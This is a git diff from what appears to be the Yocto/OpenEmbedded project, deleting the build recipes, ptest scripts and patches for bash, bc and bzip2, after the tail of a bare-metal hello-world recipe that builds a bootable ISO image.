53 install -m 755 ${B}/build/hello_baremetal_${BAREMETAL_QEMUARCH}.bin ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin
54 install -m 755 ${B}/build/hello_baremetal_${BAREMETAL_QEMUARCH}.elf ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf
55}
56
57FILES:${PN} += " \
58 ${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin \
59 ${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf \
60"
61
62# qemux86-64 boots from iso rather than -kernel, create image to boot from
63do_image:append:qemux86-64(){
64 dd if=/dev/zero of=${B}/build/img.iso bs=1M count=10 status=none
65 dd if=${B}/build/stage1.bin of=${B}/build/img.iso bs=512 count=1 conv=notrunc
66 dd if=${B}/build/stage2.bin of=${B}/build/img.iso bs=512 seek=1 count=64 conv=notrunc
67 dd if=${B}/build/hello_baremetal_x86-64.bin of=${B}/build/img.iso bs=512 seek=65 conv=notrunc
68 install ${B}/build/img.iso ${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.iso
69}
diff --git a/meta/recipes-extended/bash/bash.inc b/meta/recipes-extended/bash/bash.inc
deleted file mode 100644
index 634209c911..0000000000
--- a/meta/recipes-extended/bash/bash.inc
+++ /dev/null
@@ -1,137 +0,0 @@
1SUMMARY = "An sh-compatible command language interpreter"
2HOMEPAGE = "http://tiswww.case.edu/php/chet/bash/bashtop.html"
3DESCRIPTION = "Bash is the GNU Project's Bourne Again SHell, a complete implementation of the IEEE POSIX and Open Group shell specification with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace expansion, and a slew of other features."
4SECTION = "base/shell"
5
6DEPENDS = "ncurses bison-native virtual/libiconv"
7
8inherit autotools gettext texinfo update-alternatives ptest
9
10EXTRA_AUTORECONF += "--exclude=autoheader,aclocal"
11EXTRA_OECONF = "--enable-job-control --without-bash-malloc bash_cv_wexitstatus_offset=8"
12
13# If NON_INTERACTIVE_LOGIN_SHELLS is defined, all login shells read the
14# startup files, even if they are not interactive.
15# This is what other major distros do. And this is what we wanted. See bug#5359 and bug#7137.
16CFLAGS += "-DNON_INTERACTIVE_LOGIN_SHELLS"
17
18# This can vary depending upon the host
19CFLAGS += "-DHEREDOC_PIPESIZE=65536"
20
21# Disable bracketed paste mode by default (enabled by default in bash 5.1). It
22# causes a lot of garbage in non-interactive shells
23CFLAGS += "-DBRACKETED_PASTE_DEFAULT=0"
24
25ALTERNATIVE:${PN} = "bash sh"
26ALTERNATIVE_LINK_NAME[bash] = "${base_bindir}/bash"
27ALTERNATIVE_TARGET[bash] = "${base_bindir}/bash"
28ALTERNATIVE_LINK_NAME[sh] = "${base_bindir}/sh"
29ALTERNATIVE_TARGET[sh] = "${base_bindir}/bash.${BPN}"
30ALTERNATIVE_PRIORITY = "100"
31
32RDEPENDS:${PN} += "base-files"
33RDEPENDS:${PN}:class-nativesdk = ""
34RDEPENDS:${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv"
35
36RDEPENDS:${PN}-ptest:append:libc-glibc = " \
37 glibc-gconv-big5hkscs \
38 glibc-gconv-iso8859-1 \
39 glibc-utils \
40 locale-base-de-de \
41 locale-base-en-us \
42 locale-base-fr-fr \
43 locale-base-fr-fr.iso-8859-1 \
44 locale-base-zh-hk.big5-hkscs \
45 "
46
47CACHED_CONFIGUREVARS += "headersdir=${includedir}/${PN}"
48
49do_compile:prepend() {
50 # Remove any leftover .build files. This ensures that bash always has the
51 # same version number and keeps builds reproducible
52 rm -f ${B}/.build
53}
54
55do_compile_ptest () {
56 oe_runmake buildtest
57}
58
59do_install:prepend () {
60 # Ensure determinism as this counter increases for each make call
61 rm -f ${B}/.build
62}
63
64do_install:append () {
65 # Move /usr/bin/bash to /bin/bash, if need
66 if [ "${base_bindir}" != "${bindir}" ]; then
67 mkdir -p ${D}${base_bindir}
68 mv ${D}${bindir}/bash ${D}${base_bindir}
69 fi
70}
71
72fix_absolute_paths () {
73 # Clean buildhost references in bashbug
74 sed -i -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
75 -e "s,-I${WORKDIR}/\S* ,,g" \
76 -e 's|${DEBUG_PREFIX_MAP}||g' \
77 ${D}${bindir}/bashbug
78
79 # Clean buildhost references in bash.pc
80 sed -i -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
81 ${D}${libdir}/pkgconfig/bash.pc
82
83 # Clean buildhost references in Makefile.inc
84 sed -i -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
85 -e 's|${DEBUG_PREFIX_MAP}||g' \
86 -e 's:${HOSTTOOLS_DIR}/::g' \
87 -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
88 ${D}${libdir}/bash/Makefile.inc
89}
90
91do_install:append:class-target () {
92 fix_absolute_paths
93}
94
95do_install:append:class-nativesdk () {
96 fix_absolute_paths
97}
98
99do_install_ptest () {
100 make INSTALL_TEST_DIR=${D}${PTEST_PATH}/tests install-test
101 cp ${B}/Makefile ${D}${PTEST_PATH}
102 cp ${B}/config.h ${D}${PTEST_PATH}
103 cp ${B}/version.h ${D}${PTEST_PATH}
104 cp ${S}/y.tab.[ch] ${D}${PTEST_PATH}
105 install -D ${UNPACKDIR}/run-bash-ptests ${D}${PTEST_PATH}/run-bash-ptests
106 sed -i -e 's/^Makefile/_Makefile/' -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
107 -e 's|${DEBUG_PREFIX_MAP}||g' \
108 -e 's|${BUILD_LDFLAGS}||g' \
109 -e "s,${S},,g" -e "s,${B},,g" -e "s,${STAGING_DIR_NATIVE},,g" \
110 -e 's:${HOSTTOOLS_DIR}/::g' \
111 -e 's:${UNINATIVE_LOADER}:${base_bindir}/false:g' \
112 ${D}${PTEST_PATH}/Makefile
113}
114# The uninative loader is different on i386 & x86_64 hosts. Since it is only
115# being replaced with /bin/false anyway, it doesn't need to be part of the task
116# hash
117do_install_ptest[vardepsexclude] += "UNINATIVE_LOADER"
118
119pkg_postinst:${PN} () {
120 grep -q "^${base_bindir}/bash$" $D${sysconfdir}/shells || echo ${base_bindir}/bash >> $D${sysconfdir}/shells
121}
122
123pkg_postrm:${PN} () {
124 printf "$(grep -v "^${base_bindir}/bash$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
125}
126
127PACKAGES += "${PN}-bashbug"
128FILES:${PN} = "${bindir}/bash ${base_bindir}/bash.bash"
129FILES:${PN}-bashbug = "${bindir}/bashbug"
130
131PACKAGE_BEFORE_PN += "${PN}-loadable"
132RDEPENDS:${PN}-loadable += "${PN}"
133FILES:${PN}-loadable += "${libdir}/bash/*"
134
135# Limit the RPROVIDES here to class target so that if usrmerge is enabled for nativesdk, it does not
136# include host system paths in /bin/
137RPROVIDES:${PN}:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}"
diff --git a/meta/recipes-extended/bash/bash/build-tests.patch b/meta/recipes-extended/bash/bash/build-tests.patch
deleted file mode 100644
index 4cce1ba993..0000000000
--- a/meta/recipes-extended/bash/bash/build-tests.patch
+++ /dev/null
@@ -1,59 +0,0 @@
1From c3f58f8b4f7a359b9d9dd97a45bcaab50a89d224 Mon Sep 17 00:00:00 2001
2From: Anders Roxell <anders.roxell@enea.com>
3Date: Wed, 19 Dec 2012 17:18:31 +0100
4Subject: [PATCH] Add 'ptest' target to Makefile, to run tests without checking
5 dependencies.
6
7Upstream-Status: Inappropriate [ptest specific]
8Signed-off-by: Anders Roxell <anders.roxell@enea.com>
9
10Rebase to 5.0
11Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
12---
13 Makefile.in | 24 +++++++++++++++++++-----
14 1 file changed, 19 insertions(+), 5 deletions(-)
15
16diff --git a/Makefile.in b/Makefile.in
17index 0b4df73..7e2a34e 100644
18--- a/Makefile.in
19+++ b/Makefile.in
20@@ -958,20 +958,34 @@ maybe-clean:
21 fi
22
23 recho$(EXEEXT): $(SUPPORT_SRC)recho.c
24- @$(CC_FOR_BUILD) $(CCFLAGS_FOR_BUILD) ${LDFLAGS_FOR_BUILD} -o $@ $(SUPPORT_SRC)recho.c ${LIBS_FOR_BUILD}
25+ @$(CC) $(CCFLAGS) ${LDFLAGS} -o $@ $<
26
27 zecho$(EXEEXT): $(SUPPORT_SRC)zecho.c
28- @$(CC_FOR_BUILD) $(CCFLAGS_FOR_BUILD) ${LDFLAGS_FOR_BUILD} -o $@ $(SUPPORT_SRC)zecho.c ${LIBS_FOR_BUILD}
29+ @$(CC) $(CCFLAGS) ${LDFLAGS} -o $@ $<
30
31 printenv$(EXEEXT): $(SUPPORT_SRC)printenv.c
32- @$(CC_FOR_BUILD) $(CCFLAGS_FOR_BUILD) ${LDFLAGS_FOR_BUILD} -o $@ $(SUPPORT_SRC)printenv.c ${LIBS_FOR_BUILD}
33+ @$(CC) $(CCFLAGS) ${LDFLAGS} -o $@ $<
34
35 xcase$(EXEEXT): $(SUPPORT_SRC)xcase.c
36- @$(CC_FOR_BUILD) $(CCFLAGS_FOR_BUILD) ${LDFLAGS_FOR_BUILD} -o $@ $(SUPPORT_SRC)xcase.c ${LIBS_FOR_BUILD}
37+ @$(CC) $(CCFLAGS) ${LDFLAGS} -o $@ $<
38
39-test tests check: force $(Program) $(TESTS_SUPPORT)
40+test tests check:
41+ @$(MAKE) install-test
42+ @$(MAKE) runtest
43+
44+install-test: buildtest
45+ifeq ($(origin INSTALL_TEST_DIR), undefined)
46 @-test -d tests || mkdir tests
47 @cp $(TESTS_SUPPORT) tests
48+else
49+ @-test -d $(INSTALL_TEST_DIR) || mkdir -p $(INSTALL_TEST_DIR)
50+ @cp -r $(srcdir)/tests/* $(INSTALL_TEST_DIR)/
51+ @cp $(TESTS_SUPPORT) $(INSTALL_TEST_DIR)
52+endif
53+
54+buildtest: force $(Program) $(TESTS_SUPPORT)
55+
56+runtest:
57 @( cd $(srcdir)/tests && \
58 BUILD_DIR=$(BUILD_DIR) PATH=$(BUILD_DIR)/tests:$$PATH THIS_SH=$(THIS_SH) $(SHELL) ${TESTSCRIPT} )
59
diff --git a/meta/recipes-extended/bash/bash/fix-run-builtins.patch b/meta/recipes-extended/bash/bash/fix-run-builtins.patch
deleted file mode 100644
index 05d0859821..0000000000
--- a/meta/recipes-extended/bash/bash/fix-run-builtins.patch
+++ /dev/null
@@ -1,30 +0,0 @@
1From 15601c71b073a604ccda25c7f14f0bb12e9a3b28 Mon Sep 17 00:00:00 2001
2From: Dengke Du <dengke.du@windriver.com>
3Date: Tue, 19 Apr 2016 02:57:45 -0400
4Subject: [PATCH] fix run-builtins failed
5
6FAIL: run-builtins
71. redirect the stderr output of command exec with -l option in
8 builtins.tests to /dev/null
92. ensure the system contain the locales "en_US.UTF-8"
10
11Upstream-Status: Pending
12
13Signed-off-by: Dengke Du <dengke.du@windriver.com>
14---
15 tests/builtins.tests | 2 +-
16 1 file changed, 1 insertion(+), 1 deletion(-)
17
18diff --git a/tests/builtins.tests b/tests/builtins.tests
19index 8eee43e..71c9eee 100644
20--- a/tests/builtins.tests
21+++ b/tests/builtins.tests
22@@ -124,7 +124,7 @@ esac
23
24 # test options to exec
25 (exec -a specialname ${THIS_SH} -c 'echo $0' )
26-(exec -l -a specialname ${THIS_SH} -c 'echo $0' )
27+(exec -l -a specialname ${THIS_SH} -c 'echo $0' ) 2> /dev/null
28 # test `clean' environment. if /bin/sh is bash, and the script version of
29 # printenv is run, there will be variables in the environment that bash
30 # sets on startup. Also test code that prefixes argv[0] with a dash.
diff --git a/meta/recipes-extended/bash/bash/mkbuiltins_have_stringize.patch b/meta/recipes-extended/bash/bash/mkbuiltins_have_stringize.patch
deleted file mode 100644
index 4ee754e32b..0000000000
--- a/meta/recipes-extended/bash/bash/mkbuiltins_have_stringize.patch
+++ /dev/null
@@ -1,44 +0,0 @@
1From ed7515a5c07addaa3338a24efb36b74fbd1844dc Mon Sep 17 00:00:00 2001
2From: Christopher Larson <chris_larson@mentor.com>
3Date: Mon, 21 Jul 2025 13:52:00 +0800
4Subject: [PATCH] bash: fix mkbuiltins build failure
5
6On hosts with FORTIFY_SOURCES, stringize support is required, as it's used by
7the macros to wrap functions (e.g. read and open in unistd.h). Those wrappers
8use the STRING() macro from unistd.h. A header in the bash sources overrides
9the unistd.h macro to 'x' when HAVE_STRINGIZE is not defined, causing the
10wrappers to generate calls to 'xread' and 'xopen', which do not exist,
11resulting in a failure to link.
12
13Assume we have stringize support when cross-compiling, which works around the
14issue.
15
16It may be best for upstream to either give up on supporting compilers without
17stringize support, or to not define STRING() at all when FORTIFY_SOURCES is
18defined, letting the unistd.h one be used, instead.
19
20Upstream-Status: Pending
21
22Signed-off-by: Christopher Larson <chris_larson@mentor.com>
23
24Rebase to 5.3
25Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
26---
27 builtins/mkbuiltins.c | 1 +
28 1 file changed, 1 insertion(+)
29
30diff --git a/builtins/mkbuiltins.c b/builtins/mkbuiltins.c
31index c4cacdf..05d1db1 100644
32--- a/builtins/mkbuiltins.c
33+++ b/builtins/mkbuiltins.c
34@@ -24,6 +24,7 @@
35 #else /* CROSS_COMPILING */
36 /* A conservative set of defines based on POSIX/SUS3/XPG6 */
37 # include <buildconf.h>
38+# define HAVE_STRINGIZE
39 #endif /* CROSS_COMPILING */
40
41 #if defined (HAVE_UNISTD_H)
42--
432.34.1
44
diff --git a/meta/recipes-extended/bash/bash/run-bash-ptests b/meta/recipes-extended/bash/bash/run-bash-ptests
deleted file mode 100644
index d73a27224d..0000000000
--- a/meta/recipes-extended/bash/bash/run-bash-ptests
+++ /dev/null
@@ -1,4 +0,0 @@
1#!/bin/sh
2cd "$(dirname "$0")"
3make -k THIS_SH=/bin/bash BUILD_DIR=`pwd` srcdir=`pwd` runtest
4
diff --git a/meta/recipes-extended/bash/bash/run-ptest b/meta/recipes-extended/bash/bash/run-ptest
deleted file mode 100644
index 738ad3c42c..0000000000
--- a/meta/recipes-extended/bash/bash/run-ptest
+++ /dev/null
@@ -1,26 +0,0 @@
1#!/bin/sh
2
3en_US=`locale -a | grep en_US*`
4fr_FR=`locale -a | grep fr_FR*`
5de_DE=`locale -a | grep de_DE*`
6
7if [ -z "$en_US" ]
8then
9 echo "Warning: The en_US* locales is needed to run the intl.tests, please add it."
10fi
11
12if [ -z "$fr_FR" ]
13then
14 echo "Warning: The fr_FR* locales is needed to run the intl.tests, please add it."
15fi
16
17if [ -z "$de_DE" ]
18then
19 echo "Warning: The de_DE* locales is needed to run the intl.tests, please add it."
20fi
21
22useradd bashtest
23chown -R bashtest:bashtest tests
24setpriv --reuid bashtest --rgid bashtest --clear-groups --reset-env $(dirname "$0")/run-bash-ptests
25chown -R root:root tests
26userdel -r bashtest
diff --git a/meta/recipes-extended/bash/bash/test-output.patch b/meta/recipes-extended/bash/bash/test-output.patch
deleted file mode 100644
index 3225907b66..0000000000
--- a/meta/recipes-extended/bash/bash/test-output.patch
+++ /dev/null
@@ -1,39 +0,0 @@
1From f5cbd5a4954b89857c9e397cacceda552484f5d5 Mon Sep 17 00:00:00 2001
2From: Hongxu Jia <hongxu.jia@windriver.com>
3Date: Tue, 15 Aug 2017 10:01:56 +0800
4Subject: [PATCH] Add FAIL/PASS output to test output.
5MIME-Version: 1.0
6Content-Type: text/plain; charset=UTF-8
7Content-Transfer-Encoding: 8bit
8
9Signed-off-by: Björn Stenberg <bjst@enea.com>
10Upstream-Status: Pending
11
12Rebase to 4.4
13Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
14---
15 tests/run-all | 11 ++++++++++-
16 1 file changed, 10 insertions(+), 1 deletion(-)
17
18diff --git a/tests/run-all b/tests/run-all
19index 1f74923..ba36a1f 100644
20--- a/tests/run-all
21+++ b/tests/run-all
22@@ -57,7 +57,16 @@ do
23 case $x in
24 $0|run-minimal|run-gprof) ;;
25 *.orig|*~) ;;
26- *) echo $x ; sh $x ; rm -f ${BASH_TSTOUT} ;;
27+ *) echo $x
28+ output=`sh $x`
29+ if [ -n "$output" ]; then
30+ echo "$output"
31+ echo "FAIL: $x"
32+ else
33+ echo "PASS: $x"
34+ fi
35+ rm -f ${BASH_TSTOUT}
36+ ;;
37 esac
38 done
39
diff --git a/meta/recipes-extended/bash/bash_5.3.bb b/meta/recipes-extended/bash/bash_5.3.bb
deleted file mode 100644
index b50a48d28c..0000000000
--- a/meta/recipes-extended/bash/bash_5.3.bb
+++ /dev/null
@@ -1,26 +0,0 @@
1require bash.inc
2
3# GPL-2.0-or-later (< 4.0), GPL-3.0-or-later (>= 4.0)
4LICENSE = "GPL-3.0-or-later"
5LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
6
7SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
8 file://mkbuiltins_have_stringize.patch \
9 file://build-tests.patch \
10 file://test-output.patch \
11 file://run-ptest \
12 file://run-bash-ptests \
13 file://fix-run-builtins.patch \
14 "
15
16SRC_URI[tarball.sha256sum] = "0d5cd86965f869a26cf64f4b71be7b96f90a3ba8b3d74e27e8e9d9d5550f31ba"
17
18DEBUG_OPTIMIZATION:append:armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
19DEBUG_OPTIMIZATION:append:armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
20
21CFLAGS += "-std=gnu17"
22# mkbuiltins.c is built with native toolchain and needs gnu17 as well:
23# http://errors.yoctoproject.org/Errors/Details/853016/
24BUILD_CFLAGS += "-std=gnu17"
25
26BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/bc/bc/run-ptest b/meta/recipes-extended/bc/bc/run-ptest
deleted file mode 100644
index ba5abe6805..0000000000
--- a/meta/recipes-extended/bc/bc/run-ptest
+++ /dev/null
@@ -1,9 +0,0 @@
1#! /bin/sh
2
3for TEST in *.b; do
4 if bc -l $TEST </dev/null; then
5 echo "PASS: bc/$TEST"
6 else
7 echo "FAIL: bc/$TEST"
8 fi
9done
diff --git a/meta/recipes-extended/bc/bc_1.08.2.bb b/meta/recipes-extended/bc/bc_1.08.2.bb
deleted file mode 100644
index cebfed9642..0000000000
--- a/meta/recipes-extended/bc/bc_1.08.2.bb
+++ /dev/null
@@ -1,32 +0,0 @@
1SUMMARY = "Arbitrary precision calculator language"
2HOMEPAGE = "http://www.gnu.org/software/bc/bc.html"
3DESCRIPTION = "bc is an arbitrary precision numeric processing language. Syntax is similar to C, but differs in many substantial areas. It supports interactive execution of statements."
4
5LICENSE = "GPL-3.0-or-later"
6LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
7 file://COPYING.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
8 file://bc/bcdefs.h;endline=17;md5=f4a0239b216b8407783955e74938f190 \
9 file://dc/dc.h;endline=18;md5=bad31533d57fe5948c996f9ef6643206 \
10 file://lib/number.c;endline=20;md5=cf43068cc88f837731dc53240456cfaf"
11
12SECTION = "base"
13DEPENDS = "flex-native"
14
15SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
16 file://run-ptest"
17SRC_URI[sha256sum] = "ae470fec429775653e042015edc928d07c8c3b2fc59765172a330d3d87785f86"
18
19inherit autotools texinfo update-alternatives ptest
20
21PACKAGECONFIG ??= "readline"
22PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
23PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit"
24
25do_install_ptest() {
26 install ${S}/Test/*.b ${D}${PTEST_PATH}
27}
28
29ALTERNATIVE:${PN} = "bc dc"
30ALTERNATIVE_PRIORITY = "100"
31
32BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/bzip2/bzip2/0001-fix-bzip2-version-tmp-aaa-will-hang.patch b/meta/recipes-extended/bzip2/bzip2/0001-fix-bzip2-version-tmp-aaa-will-hang.patch
deleted file mode 100644
index 84206b2a4d..0000000000
--- a/meta/recipes-extended/bzip2/bzip2/0001-fix-bzip2-version-tmp-aaa-will-hang.patch
+++ /dev/null
@@ -1,62 +0,0 @@
1From a9dd6acbaca836fc4e943e69a31b2e7acda32045 Mon Sep 17 00:00:00 2001
2From: Hongxu Jia <hongxu.jia@windriver.com>
3Date: Wed, 13 Nov 2024 19:49:23 +0800
4Subject: [PATCH] fix 'bzip2 --version > /tmp/aaa 2>&1' hang
5
6According to [1]
7
8As of the current version 1.0.8, bzip2 --version will print version
9info but it will also continue compressing stdin:
10
11 $ ./bzip2 --version
12 bzip2, a block-sorting file compressor. Version 1.0.8, 13-Jul-2019.
13
14 Copyright (C) 1996-2019 by Julian Seward.
15
16 This program is free software; [...]
17
18 bzip2: I won't write compressed data to a terminal.
19 bzip2: For help, type: `bzip2 --help'.
20
21Debian (and its downstreams like Ubuntu) will patch this out [2],
22making the < /dev/null unnecessary:
23
24[1] https://stackoverflow.com/questions/59757176/why-using-dev-null-with-a-program-like-bzip2
25[2] https://sources.debian.org/src/bzip2/1.0.8-6/debian/patches/20-legacy.patch/
26
27Upstream-Status: Submitted [bzip2-devel@sourceware.org]
28
29Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
30---
31 bzip2.c | 8 +++++---
32 1 file changed, 5 insertions(+), 3 deletions(-)
33
34diff --git a/bzip2.c b/bzip2.c
35index d95d280..6ec9871 100644
36--- a/bzip2.c
37+++ b/bzip2.c
38@@ -1890,7 +1890,9 @@ IntNative main ( IntNative argc, Char *argv[] )
39 case '8': blockSize100k = 8; break;
40 case '9': blockSize100k = 9; break;
41 case 'V':
42- case 'L': license(); break;
43+ case 'L': license();
44+ exit ( 0 );
45+ break;
46 case 'v': verbosity++; break;
47 case 'h': usage ( progName );
48 exit ( 0 );
49@@ -1916,8 +1918,8 @@ IntNative main ( IntNative argc, Char *argv[] )
50 if (ISFLAG("--keep")) keepInputFiles = True; else
51 if (ISFLAG("--small")) smallMode = True; else
52 if (ISFLAG("--quiet")) noisy = False; else
53- if (ISFLAG("--version")) license(); else
54- if (ISFLAG("--license")) license(); else
55+ if (ISFLAG("--version")) { license(); exit ( 0 ); } else
56+ if (ISFLAG("--license")) { license(); exit ( 0 ); } else
57 if (ISFLAG("--exponential")) workFactor = 1; else
58 if (ISFLAG("--repetitive-best")) redundant(aa->name); else
59 if (ISFLAG("--repetitive-fast")) redundant(aa->name); else
60--
612.34.1
62
diff --git a/meta/recipes-extended/bzip2/bzip2/Makefile.am b/meta/recipes-extended/bzip2/bzip2/Makefile.am
deleted file mode 100644
index c0aed80ce6..0000000000
--- a/meta/recipes-extended/bzip2/bzip2/Makefile.am
+++ /dev/null
@@ -1,74 +0,0 @@
1
2lib_LTLIBRARIES = libbz2.la
3libbz2_la_LDFLAGS = -version-info 1:8:0
4
5libbz2_la_SOURCES = blocksort.c \
6 huffman.c \
7 crctable.c \
8 randtable.c \
9 compress.c \
10 decompress.c \
11 bzlib.c
12
13bin_PROGRAMS = bzip2 bzip2recover
14
15bzip2_SOURCES = bzip2.c
16bzip2_LDADD = libbz2.la
17bzip2_DEPENDENCIES = libbz2.la
18
19include_HEADERS = bzlib.h
20
21bzip2recover_SOURCES = bzip2recover.c
22bzip2recover_LDADD = libbz2.la
23bzip2recover_DEPENDENCIES = libbz2.la
24
25bin_SCRIPTS = bzgrep bzmore bzdiff
26
27man_MANS = bzip2.1 bzgrep.1 bzmore.1 bzdiff.1
28EXTRA_DIST = $(man_MANS)
29
30runtest:
31 ./bzip2 -1 < sample1.ref > sample1.rb2
32 ./bzip2 -2 < sample2.ref > sample2.rb2
33 ./bzip2 -3 < sample3.ref > sample3.rb2
34 ./bzip2 -d < sample1.bz2 > sample1.tst
35 ./bzip2 -d < sample2.bz2 > sample2.tst
36 ./bzip2 -ds < sample3.bz2 > sample3.tst
37 @if cmp sample1.bz2 sample1.rb2; then echo "PASS: sample1 compress";\
38 else echo "FAIL: sample1 compress"; fi
39 @if cmp sample2.bz2 sample2.rb2; then echo "PASS: sample2 compress";\
40 else echo "FAIL: sample2 compress"; fi
41 @if cmp sample3.bz2 sample3.rb2; then echo "PASS: sample3 compress";\
42 else echo "FAIL: sample3 compress"; fi
43 @if cmp sample1.tst sample1.ref; then echo "PASS: sample1 decompress";\
44 else echo "FAIL: sample1 decompress"; fi
45 @if cmp sample2.tst sample2.ref; then echo "PASS: sample2 decompress";\
46 else echo "FAIL: sample2 decompress"; fi
47 @if cmp sample3.tst sample3.ref; then echo "PASS: sample3 decompress";\
48 else echo "FAIL: sample3 decompress"; fi
49 ./bzip2-tests/run-tests.sh --without-valgrind --tests-dir="$(PWD)/bzip2-tests"
50
51install-ptest:
52 sed -n '/^runtest:/,/^install-ptest:/{/^install-ptest:/!p}' \
53 $(srcdir)/Makefile.am > $(DESTDIR)/Makefile
54 cp $(srcdir)/sample1.ref $(DESTDIR)/
55 cp $(srcdir)/sample2.ref $(DESTDIR)/
56 cp $(srcdir)/sample3.ref $(DESTDIR)/
57 cp $(srcdir)/sample1.bz2 $(DESTDIR)/
58 cp $(srcdir)/sample2.bz2 $(DESTDIR)/
59 cp $(srcdir)/sample3.bz2 $(DESTDIR)/
60 ln -s $(bindir)/bzip2 $(DESTDIR)/bzip2
61
62install-exec-hook:
63 ln -s bzip2$(EXEEXT) $(DESTDIR)$(bindir)/bunzip2$(EXEEXT)
64 ln -s bzip2$(EXEEXT) $(DESTDIR)$(bindir)/bzcat$(EXEEXT)
65 ln -s bzgrep$(EXEEXT) $(DESTDIR)$(bindir)/bzegrep$(EXEEXT)
66 ln -s bzgrep$(EXEEXT) $(DESTDIR)$(bindir)/bzfgrep$(EXEEXT)
67 ln -s bzmore$(EXEEXT) $(DESTDIR)$(bindir)/bzless$(EXEEXT)
68 ln -s bzdiff$(EXEEXT) $(DESTDIR)$(bindir)/bzcmp$(EXEEXT)
69
70install-data-hook:
71 echo ".so man1/bzgrep.1" > $(DESTDIR)$(mandir)/man1/bzegrep.1
72 echo ".so man1/bzgrep.1" > $(DESTDIR)$(mandir)/man1/bzfgrep.1
73 echo ".so man1/bzmore.1" > $(DESTDIR)$(mandir)/man1/bzless.1
74 echo ".so man1/bzdiff.1" > $(DESTDIR)$(mandir)/man1/bzcmp.1
diff --git a/meta/recipes-extended/bzip2/bzip2/configure.ac b/meta/recipes-extended/bzip2/bzip2/configure.ac
deleted file mode 100644
index b8abade2d9..0000000000
--- a/meta/recipes-extended/bzip2/bzip2/configure.ac
+++ /dev/null
@@ -1,11 +0,0 @@
1AC_PREREQ([2.57])
2
3AC_INIT(bzip2, %BZIP2_VERSION%)
4AM_INIT_AUTOMAKE(foreign)
5AM_MAINTAINER_MODE
6
7AC_PROG_CC
8AC_PROG_LIBTOOL
9
10AC_OUTPUT([Makefile])
11
diff --git a/meta/recipes-extended/bzip2/bzip2/run-ptest b/meta/recipes-extended/bzip2/bzip2/run-ptest
deleted file mode 100644
index 3b20fce1ee..0000000000
--- a/meta/recipes-extended/bzip2/bzip2/run-ptest
+++ /dev/null
@@ -1,2 +0,0 @@
1#!/bin/sh
2make -k runtest
diff --git a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
deleted file mode 100644
index 9cecf6a331..0000000000
--- a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
+++ /dev/null
@@ -1,72 +0,0 @@
1SUMMARY = "Very high-quality data compression program"
2DESCRIPTION = "bzip2 compresses files using the Burrows-Wheeler block-sorting text compression algorithm, and \
3Huffman coding. Compression is generally considerably better than that achieved by more conventional \
4LZ77/LZ78-based compressors, and approaches the performance of the PPM family of statistical compressors."
5HOMEPAGE = "https://sourceware.org/bzip2/"
6SECTION = "console/utils"
7LICENSE = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
8LICENSE:${PN} = "bzip2-1.0.6"
9LICENSE:${PN}-dev = "bzip2-1.0.6"
10LICENSE:${PN}-dbg = "bzip2-1.0.6"
11LICENSE:${PN}-doc = "bzip2-1.0.6"
12LICENSE:${PN}-src = "bzip2-1.0.6"
13LICENSE:libbz2 = "bzip2-1.0.6"
14LICENSE:${PN}-ptest = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
15
16LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e32f19b32df4664 \
17 file://${UNPACKDIR}/bzip2-tests/commons-compress/LICENSE.txt;md5=86d3f3a95c324c9479bd8986968f4327 \
18 file://${UNPACKDIR}/bzip2-tests/dotnetzip/License.txt;md5=9cb56871eed4e748c3bc7e8ff352a54f \
19 file://${UNPACKDIR}/bzip2-tests/dotnetzip/License.zlib.txt;md5=cc421ccd22eeb2e5db6b79e6de0a029f \
20 file://${UNPACKDIR}/bzip2-tests/go/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707 \
21 file://${UNPACKDIR}/bzip2-tests/lbzip2/COPYING;md5=d32239bcb673463ab874e80d47fae504 \
22"
23
24SRC_URI = "https://sourceware.org/pub/${BPN}/${BPN}-${PV}.tar.gz \
25 git://sourceware.org/git/bzip2-tests.git;name=bzip2-tests;branch=master;protocol=https;destsuffix=bzip2-tests/ \
26 file://configure.ac;subdir=${BP} \
27 file://Makefile.am;subdir=${BP} \
28 file://run-ptest \
29 file://0001-fix-bzip2-version-tmp-aaa-will-hang.patch;subdir=${BP} \
30 "
31SRC_URI[sha256sum] = "ab5a03176ee106d3f0fa90e381da478ddae405918153cca248e682cd0c4a2269"
32
